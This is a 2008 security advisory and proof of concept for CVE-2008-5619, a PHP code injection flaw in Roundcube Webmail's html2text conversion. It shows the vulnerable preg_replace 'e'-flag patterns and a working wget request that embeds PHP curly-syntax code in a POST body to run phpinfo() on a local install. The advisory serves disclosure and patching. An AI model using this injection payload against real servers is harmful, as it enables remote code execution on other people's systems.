POC for CVE-2008-5619 (roundcubemail PHP arbitrary code injection)


Public Release Date of POC: 2008-12-22
Author: Jacobo Avariento Gimeno (Sofistic)
CVE id: CVE-2008-5619
Bugtraq id: 32799
Severity: Critical
Vulnerability reported by: RealMurphy


Intro
----
Roundcube Webmail is a browser-based IMAP client that uses
"chuggnutt.com HTML to Plain Text Conversion" library to convert
HTML text to plain text, this library uses the preg_replace PHP
function in an insecure manner.

Vulnerable versions:
Round Cube RoundCube Webmail 0.2-3 beta
Round Cube RoundCube Webmail 0.2-1 alpha (tested)


Analysis of the vulnerable code
----
The script bin/html2text.php creates an instance of the class html2text
with the given POST data, the problem arises in the file
program/lib/html2text.php in function _convert() on line 381:

// Run our defined search-and-replace
$text = preg_replace($this->search, $this->replace, $text);

Some patterns in $this->search allow interpret PHP code using the "e"
flag, i.e.:
'/<a [^>]*href=("|\')([^"\']+)\1[^>]*>(.+?)<\/a>/ie', // <a href="">
'/<b[^>]*>(.+?)<\/b>/ie', // <b>
'/<th[^>]*>(.+?)<\/th>/ie', // <th> and </th>

In concrete those would be replaced by:
'$this->_build_link_list("\\2", "\\3")', // <a href="">
'strtoupper("\\1")', // <b>
"strtoupper(\"\t\t\\1\n\")", // <th> and </th>

Now using PHP complex (curly) syntax we can take advantage of this to
interpret arbitrary PHP code, evaluating PHP code embedded inside
strings.


Proof of Concept
----
As this vulnerability was discovered in-the-wild:
http://trac.roundcube.net/ticket/1485618 was quite sure that would be
exploitable, using PHP curly we can execute phpinfo():

wget -q --header="Content-Type: ''" \
-O - --post-data='<b>{${phpinfo()}}</b>' \
--no-check-certificate \
http://127.0.0.1/roundcubemail-0.2-alpha/bin/html2text.php

Using PHP curly syntax plus some tricks to bypass PHP magic_quotes_gpc
to avoid using single or double quotes the arbitrary shell command
execution is fully feasible. As this vulnerability was discovered last
week no more details will be published yet, more info will be available
at http://sofistic.net.



--
Jacobo Avariento Gimeno
IT Security Department @ Sofistic
Your security, our concern!
http://sofistic.net

Relevant Pages

  • [Full-disclosure] CVE-2008-5557 - PHP mbstring buffer overflow vulnerability
    ... CVE-2008-5557 - PHP mbstring buffer overflow vulnerability ... 4.3.0 and later versions including PHP 5 ... A heap buffer overflow was found in mbstring extension that is ... The vulnerability occurs in the part of the encoding conversion facility ...
    (Full-Disclosure)
  • [Full-disclosure] [ MDVSA-2009:324 ] php
    ... Package: php ... Multiple vulnerabilities was discovered and corrected in php: ... before 5.2.9 allows remote attackers to cause a denial of service ... Unspecified vulnerability in PHP before 5.2.11 has unknown impact ...
    (Full-Disclosure)
  • [ MDVSA-2009:324 ] php
    ... Package: php ... Multiple vulnerabilities was discovered and corrected in php: ... before 5.2.9 allows remote attackers to cause a denial of service ... Unspecified vulnerability in PHP before 5.2.11 has unknown impact ...
    (Bugtraq)
  • [Full-disclosure] Advisory 15/2005: PHPXMLRPC Remote PHP Code Injection Vulnerability
    ... Vendor Status: Vendor has released an updated version ... After Gulftech released their PHP code injection advisory in the ... Unfortunately we were able to find another vulnerability in the ...
    (Full-Disclosure)
  • [Full-disclosure] Advisory 14/2005: PEAR XML_RPC Remote PHP Code Injection Vulnerability
    ... Vendor Status: Vendor has released an updated version ... for PHP, which is a PHP implementation of the XML-RPC protocol. ... After Gulftech released their PHP code injection advisory in the ... Unfortunately we were able to find another vulnerability in the ...
    (Full-Disclosure)
Quantcast